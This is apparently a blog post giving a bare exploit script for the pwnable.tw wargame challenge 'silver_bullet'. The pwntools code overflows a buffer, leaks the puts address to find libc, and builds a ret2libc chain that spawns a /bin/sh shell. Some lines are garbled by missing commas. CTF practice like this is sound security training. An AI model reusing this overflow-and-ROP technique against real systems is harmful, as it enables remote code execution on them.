Wargame/▷ pwnable.tw

[pwnable.tw] silver_bullet

Gyeongje 2018. 7. 29. 12:15
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
 
= remote('chall.pwnable.tw'10103)
#s = process('./silver_bullet')
= ELF('./silver_bullet')
libc = ELF('libc_32.so.6')
 
pr = 0x8048475
one = 0x5fbc5
 
s.sendlineafter('choice :''1')
s.sendafter('bullet :''A'*0x2f + '\x00')
 
s.sendlineafter('choice :''2')
s.sendafter('bullet :''B')
 
payload = ''
payload += '\x7f\xff\xff'
payload += 'B'*4
payload += p32(e.plt['puts'])
payload += p32(pr)
payload += p32(e.got['puts'])
payload += p32(e.symbols['main'])
 
s.sendlineafter('choice :' ,'2')
s.sendafter('bullet :', payload)
 
s.sendlineafter('choice :''3')
s.recvuntil('win !!\n')
 
puts = u32(s.recv(4))
base = puts - libc.symbols['puts']
system = base + libc.symbols['system']
binsh = base + next(libc.search("/bin/sh"))
print 'puts : ' + hex(puts)
print 'base : ' + hex(base)
print 'sysetm : ' + hex(system)
print 'binsh : ' + hex(binsh)
#================================================
 
s.sendlineafter('choice :''1')
s.sendafter('bullet :''A'*0x2f + '\x00')
 
s.sendlineafter('choice :''2')
s.sendafter('bullet :''B')
 
payload = ''
payload += '\x7f\xff\xff'
payload += 'B'*4
payload += p32(system) 
payload += 'AAAA'
payload += p32(binsh)
 
s.sendlineafter('choice :' ,'2')
s.sendafter('bullet :', payload)
 
s.sendlineafter('choice :''3')
s.recvuntil('win !!\n')
 
s.interactive()
cs